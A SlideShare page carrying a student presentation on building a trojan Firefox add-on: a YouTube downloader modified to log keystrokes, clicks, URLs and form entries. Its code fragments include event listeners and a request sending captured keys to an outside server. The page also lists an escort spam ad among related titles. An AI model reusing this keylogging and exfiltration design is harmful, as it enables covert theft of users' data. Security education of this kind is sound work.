SlideShare uma empresa Scribd logo
1 de 24
Presented by

                                                         Suresh K
                                                Abin John George
                                                    Nimish Joseph
                                               Bairaginath Behera
                                                   Arunanand T A

M.Tech. 2011-13 CSE, Dept. of CSE, NIT Calicut, Kerala, IN, 673 601
Introduction
  What’s an add-on?
                That adds some feature to the existing system


  What’s a Trojan?
                That looks useful, but does unfavorable actions without our
                 knowledge




11/16/2011                 Dept. of CSE, NIT Calicut                           2
Overview
  Existing Add-on vs Ours
  Our Add-on: Features
  Challenges & Design
  Working as an abstraction
  Demonstration
  Conclusions
  References


11/16/2011       Dept. of CSE, NIT Calicut   3
Abstract
  Our add-on works as a normal YouTube video
      downloader, but it is a Trojan

  It will      capture your web activities like URLs
      visited, web form entries, etc. and shall send to a
      remote server

  It will, at the server, identify and store the IPs of the
      hosts
11/16/2011         Dept. of CSE, NIT Calicut                   4
Existing Add-on vs Our Add-on
  Easy YouTube Downloader [1]


  Helps download videos from YouTube


  We modified the source and added some js into the
      source



11/16/2011     Dept. of CSE, NIT Calicut               5
Features of our Add-on
  Still, works as YouTube Downloader


  Monitor click [2] and keyboard[2] events


  Sends all the URLs visited and events, which’s first
      stored in a buffer variable

  Keeps track of IP address of hosts, at the server

11/16/2011         Dept. of CSE, NIT Calicut              6
System Requirements
  Operating System: Windows/Linux


  Browser: Mozilla Firefox 1.5+


  Javascript Enabled [3]




11/16/2011      Dept. of CSE, NIT Calicut   7
Challenges
  Understanding the working of existing add-on.


  Where and how to modify the add-on?


  How to add event listeners?


  How to send captured information to the remote
      server?

11/16/2011      Dept. of CSE, NIT Calicut           8
Design
  We added some blocks of codes into “script-
      compiler.js” file

  The following methods/functions were created:
                Two Event Listeners – KeyPress and Click   to the window
                 object
                sendHref(href)
                addKey(Event)
                clickBuff(Event)
                sendBUFF(BUFF)

11/16/2011                Dept. of CSE, NIT Calicut                         9
Design – Contd…
  Two Event Listeners – KeyPress and Click to the
      window object

         WinObj.addEventListener("keypress",
             function(event){ BUFF.addKey(event); },
             true); [4]

         WinObj.addEventListener("click",
             function(event){ CLICK.Event(event); },
             true); [4]

11/16/2011           Dept. of CSE, NIT Calicut         10
Design – Contd…
  Retrieve href from window object
  sendHref(href)

             If href != "about:blank” then
                         Add href to the buffer
                         Call sendBuff() function




11/16/2011                Dept. of CSE, NIT Calicut   11
Design – Contd…
  addKey(Event)

         This is an key event handler function


         Once a key is pressed, this function will be automatically
             called (Callback function)

         From the Event object, we can extract key-press
             information

         Add this key to the buffer
11/16/2011              Dept. of CSE, NIT Calicut                  12
Design – Contd…
  clickBuff (Event)

         Why we included this clickBuff()?

         This is a click event handler function

         Once a click happens, observe its click target

         Store the click target in buffer

         While submit event happens, we will fetch the target values of
             click events stored.

11/16/2011                Dept. of CSE, NIT Calicut                        13
Design – Contd…
  sendBuff(buff)

                Using Ajax (XMLHttpRequest)
                If buff is full or submit event happens, buff is sent to the server



                var req = new XMLHttpRequest();

                req.open("GET", "http://www.mamboo.in/cgi-
                 bin/hack.pl?keys=" + hack, true);


11/16/2011                  Dept. of CSE, NIT Calicut                              14
Working as an abstraction




11/16/2011   Dept. of CSE, NIT Calicut   15
Server Side Set-up
  A Perl file for Receiving ‘buffer’ data


  Writes to the text file at the server


  $ENV{} hash of Perl (QUERY_STRING and REMOTE_ADDR)


  Timestamp and IP Information is retrieved and stored


11/16/2011       Dept. of CSE, NIT Calicut                16
As a package…
  Available as an .xpi package


  Open the file using Mozilla Firefox


  Restart, and start using




11/16/2011      Dept. of CSE, NIT Calicut   17
Demonstration
  We will now have a demonstration of our project


             http://www.youtube.com/watch?v=WiVZ8dI2stc




11/16/2011            Dept. of CSE, NIT Calicut           18
Future Enhancements
  We can enhance the server side for further processing
      of retrieved information

  Browser cookie details can be accessed




11/16/2011        Dept. of CSE, NIT Calicut                19
Conclusions
  The project aimed at creating a trojan add-on, which is
      successfully completed

  This      project is intended for revealing        the
      vulnerabilities caused by untrusted add-ons




11/16/2011        Dept. of CSE, NIT Calicut              20
References
 [1] https://addons.mozilla.org/
 [2]https://developer.mozilla.org/En/Developing_add-
     ons
 [3] http://www.rietta.com/firefox/index.html
 [4] Kenneth C., Programming Firefox, O’Reilly, 2007
 [5] http://www.google.com



11/16/2011     Dept. of CSE, NIT Calicut               21
Visit…
  Comprehensive details of our project is available at
      (Requires Login):

  https://sites.google.com/site/nitcmtech2013cs/semester
                   -1/is-project-sem1/trojan

                                   Or shortly,

                 http://tinyurl.com/taddon

11/16/2011        Dept. of CSE, NIT Calicut            22
Queries???



11/16/2011   Dept. of CSE, NIT Calicut   23
Thank You…
                             Contact:
                     sureshk.gec@gmail.com
                    abinjohn2008@gmail.com
                    nimishjoseph@gmail.com
                     mail2bairagi@gmail.com
                      arunta007@gmail.com




11/16/2011   Dept. of CSE, NIT Calicut        24

Mais conteúdo relacionado

Semelhante a A Simple Trojan Mozilla Firefox Add-on

The Simple Assembly Line Balancing Problem
The Simple Assembly Line Balancing ProblemThe Simple Assembly Line Balancing Problem
The Simple Assembly Line Balancing ProblemNicole Wells
 
FusionInventory at LSM/RMLL 2012
FusionInventory at LSM/RMLL 2012FusionInventory at LSM/RMLL 2012
FusionInventory at LSM/RMLL 2012Nouh Walid
 
JSF 2 and beyond: Keeping progress coming
JSF 2 and beyond: Keeping progress comingJSF 2 and beyond: Keeping progress coming
JSF 2 and beyond: Keeping progress comingAndy Schwartz
 
20180618 wwdc cherrypick_xcode10beta
20180618 wwdc cherrypick_xcode10beta20180618 wwdc cherrypick_xcode10beta
20180618 wwdc cherrypick_xcode10betaトニー 森田
 
Continuous Web Performance Monitoring with Jenkins
Continuous Web Performance Monitoring with JenkinsContinuous Web Performance Monitoring with Jenkins
Continuous Web Performance Monitoring with JenkinsMichael Kröll
 
BlaBlaCar et la mise en place d'une fonctionnalité FlagFeature
BlaBlaCar et la mise en place d'une fonctionnalité FlagFeatureBlaBlaCar et la mise en place d'une fonctionnalité FlagFeature
BlaBlaCar et la mise en place d'une fonctionnalité FlagFeatureCocoaHeads France
 
Vipul divyanshu documentation on Kinect and Motion Tracking
Vipul divyanshu documentation  on Kinect and Motion TrackingVipul divyanshu documentation  on Kinect and Motion Tracking
Vipul divyanshu documentation on Kinect and Motion TrackingVipul Divyanshu
 
Jenkins user conference 2011
Jenkins user conference 2011Jenkins user conference 2011
Jenkins user conference 2011Kohsuke Kawaguchi
 
JenkinsMobi: Jenkins XML API for Mobile Applications
JenkinsMobi: Jenkins XML API for Mobile ApplicationsJenkinsMobi: Jenkins XML API for Mobile Applications
JenkinsMobi: Jenkins XML API for Mobile ApplicationsLuca Milanesio
 
Adobe OSMF Overview
Adobe OSMF OverviewAdobe OSMF Overview
Adobe OSMF OverviewYoss Cohen
 
Address Binding Scheme
Address Binding SchemeAddress Binding Scheme
Address Binding SchemeRajesh Piryani
 
Information system development & programming language
Information system development & programming languageInformation system development & programming language
Information system development & programming languageMuhammad Shahid
 
Native Mobile Application Using Open Source
Native Mobile Application Using Open SourceNative Mobile Application Using Open Source
Native Mobile Application Using Open SourceAxway Appcelerator
 
OSCON Titanium Tutorial
OSCON Titanium TutorialOSCON Titanium Tutorial
OSCON Titanium TutorialKevin Whinnery
 
Programming Without Coding Technology (PWCT) Getting Started - The Time Machine
Programming Without Coding Technology (PWCT)  Getting Started - The Time MachineProgramming Without Coding Technology (PWCT)  Getting Started - The Time Machine
Programming Without Coding Technology (PWCT) Getting Started - The Time MachineMahmoud Samir Fayed
 
Graduating to Jenkins CI for Ruby(-on-Rails) Teams
Graduating to Jenkins CI for Ruby(-on-Rails) TeamsGraduating to Jenkins CI for Ruby(-on-Rails) Teams
Graduating to Jenkins CI for Ruby(-on-Rails) TeamsDaniel Doubrovkine
 
See the time on your wrist - Apple Watch presentation
See the time on your wrist - Apple Watch presentationSee the time on your wrist - Apple Watch presentation
See the time on your wrist - Apple Watch presentationLammert Westerhoff
 
varun JENKINS.pptx
varun JENKINS.pptxvarun JENKINS.pptx
varun JENKINS.pptxVgPolampalli
 

Semelhante a A Simple Trojan Mozilla Firefox Add-on (20)

The Simple Assembly Line Balancing Problem
The Simple Assembly Line Balancing ProblemThe Simple Assembly Line Balancing Problem
The Simple Assembly Line Balancing Problem
 
FusionInventory at LSM/RMLL 2012
FusionInventory at LSM/RMLL 2012FusionInventory at LSM/RMLL 2012
FusionInventory at LSM/RMLL 2012
 
JSF 2 and beyond: Keeping progress coming
JSF 2 and beyond: Keeping progress comingJSF 2 and beyond: Keeping progress coming
JSF 2 and beyond: Keeping progress coming
 
20180618 wwdc cherrypick_xcode10beta
20180618 wwdc cherrypick_xcode10beta20180618 wwdc cherrypick_xcode10beta
20180618 wwdc cherrypick_xcode10beta
 
Continuous Web Performance Monitoring with Jenkins
Continuous Web Performance Monitoring with JenkinsContinuous Web Performance Monitoring with Jenkins
Continuous Web Performance Monitoring with Jenkins
 
BlaBlaCar et la mise en place d'une fonctionnalité FlagFeature
BlaBlaCar et la mise en place d'une fonctionnalité FlagFeatureBlaBlaCar et la mise en place d'une fonctionnalité FlagFeature
BlaBlaCar et la mise en place d'une fonctionnalité FlagFeature
 
Vipul divyanshu documentation on Kinect and Motion Tracking
Vipul divyanshu documentation  on Kinect and Motion TrackingVipul divyanshu documentation  on Kinect and Motion Tracking
Vipul divyanshu documentation on Kinect and Motion Tracking
 
Jenkins user conference 2011
Jenkins user conference 2011Jenkins user conference 2011
Jenkins user conference 2011
 
JenkinsMobi: Jenkins XML API for Mobile Applications
JenkinsMobi: Jenkins XML API for Mobile ApplicationsJenkinsMobi: Jenkins XML API for Mobile Applications
JenkinsMobi: Jenkins XML API for Mobile Applications
 
Ad upresentation
Ad upresentationAd upresentation
Ad upresentation
 
Adobe OSMF Overview
Adobe OSMF OverviewAdobe OSMF Overview
Adobe OSMF Overview
 
Address Binding Scheme
Address Binding SchemeAddress Binding Scheme
Address Binding Scheme
 
Information system development & programming language
Information system development & programming languageInformation system development & programming language
Information system development & programming language
 
Native Mobile Application Using Open Source
Native Mobile Application Using Open SourceNative Mobile Application Using Open Source
Native Mobile Application Using Open Source
 
OSCON Titanium Tutorial
OSCON Titanium TutorialOSCON Titanium Tutorial
OSCON Titanium Tutorial
 
Programming Without Coding Technology (PWCT) Getting Started - The Time Machine
Programming Without Coding Technology (PWCT)  Getting Started - The Time MachineProgramming Without Coding Technology (PWCT)  Getting Started - The Time Machine
Programming Without Coding Technology (PWCT) Getting Started - The Time Machine
 
Learning Android Part 2/6
Learning Android Part 2/6Learning Android Part 2/6
Learning Android Part 2/6
 
Graduating to Jenkins CI for Ruby(-on-Rails) Teams
Graduating to Jenkins CI for Ruby(-on-Rails) TeamsGraduating to Jenkins CI for Ruby(-on-Rails) Teams
Graduating to Jenkins CI for Ruby(-on-Rails) Teams
 
See the time on your wrist - Apple Watch presentation
See the time on your wrist - Apple Watch presentationSee the time on your wrist - Apple Watch presentation
See the time on your wrist - Apple Watch presentation
 
varun JENKINS.pptx
varun JENKINS.pptxvarun JENKINS.pptx
varun JENKINS.pptx
 

Último

A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024Results
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsEnterprise Knowledge
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘RTylerCroy
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationRadu Cotescu
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024The Digital Insurer
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountPuma Security, LLC
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfEnterprise Knowledge
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...Martijn de Jong
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking MenDelhi Call girls
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEarley Information Science
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Scriptwesley chun
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024The Digital Insurer
 
Slack Application Development 101 Slides
Slack Application Development 101 SlidesSlack Application Development 101 Slides
Slack Application Development 101 Slidespraypatel2
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...apidays
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonAnna Loughnan Colquhoun
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024Rafal Los
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreternaman860154
 

Último (20)

A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path Mount
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024
 
Slack Application Development 101 Slides
Slack Application Development 101 SlidesSlack Application Development 101 Slides
Slack Application Development 101 Slides
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreter
 

A Simple Trojan Mozilla Firefox Add-on

  • 1. Presented by Suresh K Abin John George Nimish Joseph Bairaginath Behera Arunanand T A M.Tech. 2011-13 CSE, Dept. of CSE, NIT Calicut, Kerala, IN, 673 601
  • 2. Introduction  What’s an add-on?  That adds some feature to the existing system  What’s a Trojan?  That looks useful, but does unfavorable actions without our knowledge 11/16/2011 Dept. of CSE, NIT Calicut 2
  • 3. Overview  Existing Add-on vs Ours  Our Add-on: Features  Challenges & Design  Working as an abstraction  Demonstration  Conclusions  References 11/16/2011 Dept. of CSE, NIT Calicut 3
  • 4. Abstract  Our add-on works as a normal YouTube video downloader, but it is a Trojan  It will capture your web activities like URLs visited, web form entries, etc. and shall send to a remote server  It will, at the server, identify and store the IPs of the hosts 11/16/2011 Dept. of CSE, NIT Calicut 4
  • 5. Existing Add-on vs Our Add-on  Easy YouTube Downloader [1]  Helps download videos from YouTube  We modified the source and added some js into the source 11/16/2011 Dept. of CSE, NIT Calicut 5
  • 6. Features of our Add-on  Still, works as YouTube Downloader  Monitor click [2] and keyboard[2] events  Sends all the URLs visited and events, which’s first stored in a buffer variable  Keeps track of IP address of hosts, at the server 11/16/2011 Dept. of CSE, NIT Calicut 6
  • 7. System Requirements  Operating System: Windows/Linux  Browser: Mozilla Firefox 1.5+  Javascript Enabled [3] 11/16/2011 Dept. of CSE, NIT Calicut 7
  • 8. Challenges  Understanding the working of existing add-on.  Where and how to modify the add-on?  How to add event listeners?  How to send captured information to the remote server? 11/16/2011 Dept. of CSE, NIT Calicut 8
  • 9. Design  We added some blocks of codes into “script- compiler.js” file  The following methods/functions were created:  Two Event Listeners – KeyPress and Click to the window object  sendHref(href)  addKey(Event)  clickBuff(Event)  sendBUFF(BUFF) 11/16/2011 Dept. of CSE, NIT Calicut 9
  • 10. Design – Contd…  Two Event Listeners – KeyPress and Click to the window object  WinObj.addEventListener("keypress", function(event){ BUFF.addKey(event); }, true); [4]  WinObj.addEventListener("click", function(event){ CLICK.Event(event); }, true); [4] 11/16/2011 Dept. of CSE, NIT Calicut 10
  • 11. Design – Contd…  Retrieve href from window object  sendHref(href) If href != "about:blank” then Add href to the buffer Call sendBuff() function 11/16/2011 Dept. of CSE, NIT Calicut 11
  • 12. Design – Contd…  addKey(Event)  This is an key event handler function  Once a key is pressed, this function will be automatically called (Callback function)  From the Event object, we can extract key-press information  Add this key to the buffer 11/16/2011 Dept. of CSE, NIT Calicut 12
  • 13. Design – Contd…  clickBuff (Event)  Why we included this clickBuff()?  This is a click event handler function  Once a click happens, observe its click target  Store the click target in buffer  While submit event happens, we will fetch the target values of click events stored. 11/16/2011 Dept. of CSE, NIT Calicut 13
  • 14. Design – Contd…  sendBuff(buff)  Using Ajax (XMLHttpRequest)  If buff is full or submit event happens, buff is sent to the server  var req = new XMLHttpRequest();  req.open("GET", "http://www.mamboo.in/cgi- bin/hack.pl?keys=" + hack, true); 11/16/2011 Dept. of CSE, NIT Calicut 14
  • 15. Working as an abstraction 11/16/2011 Dept. of CSE, NIT Calicut 15
  • 16. Server Side Set-up  A Perl file for Receiving ‘buffer’ data  Writes to the text file at the server  $ENV{} hash of Perl (QUERY_STRING and REMOTE_ADDR)  Timestamp and IP Information is retrieved and stored 11/16/2011 Dept. of CSE, NIT Calicut 16
  • 17. As a package…  Available as an .xpi package  Open the file using Mozilla Firefox  Restart, and start using 11/16/2011 Dept. of CSE, NIT Calicut 17
  • 18. Demonstration  We will now have a demonstration of our project http://www.youtube.com/watch?v=WiVZ8dI2stc 11/16/2011 Dept. of CSE, NIT Calicut 18
  • 19. Future Enhancements  We can enhance the server side for further processing of retrieved information  Browser cookie details can be accessed 11/16/2011 Dept. of CSE, NIT Calicut 19
  • 20. Conclusions  The project aimed at creating a trojan add-on, which is successfully completed  This project is intended for revealing the vulnerabilities caused by untrusted add-ons 11/16/2011 Dept. of CSE, NIT Calicut 20
  • 21. References [1] https://addons.mozilla.org/ [2]https://developer.mozilla.org/En/Developing_add- ons [3] http://www.rietta.com/firefox/index.html [4] Kenneth C., Programming Firefox, O’Reilly, 2007 [5] http://www.google.com 11/16/2011 Dept. of CSE, NIT Calicut 21
  • 22. Visit…  Comprehensive details of our project is available at (Requires Login): https://sites.google.com/site/nitcmtech2013cs/semester -1/is-project-sem1/trojan Or shortly, http://tinyurl.com/taddon 11/16/2011 Dept. of CSE, NIT Calicut 22
  • 23. Queries??? 11/16/2011 Dept. of CSE, NIT Calicut 23
  • 24. Thank You… Contact: sureshk.gec@gmail.com abinjohn2008@gmail.com nimishjoseph@gmail.com mail2bairagi@gmail.com arunta007@gmail.com 11/16/2011 Dept. of CSE, NIT Calicut 24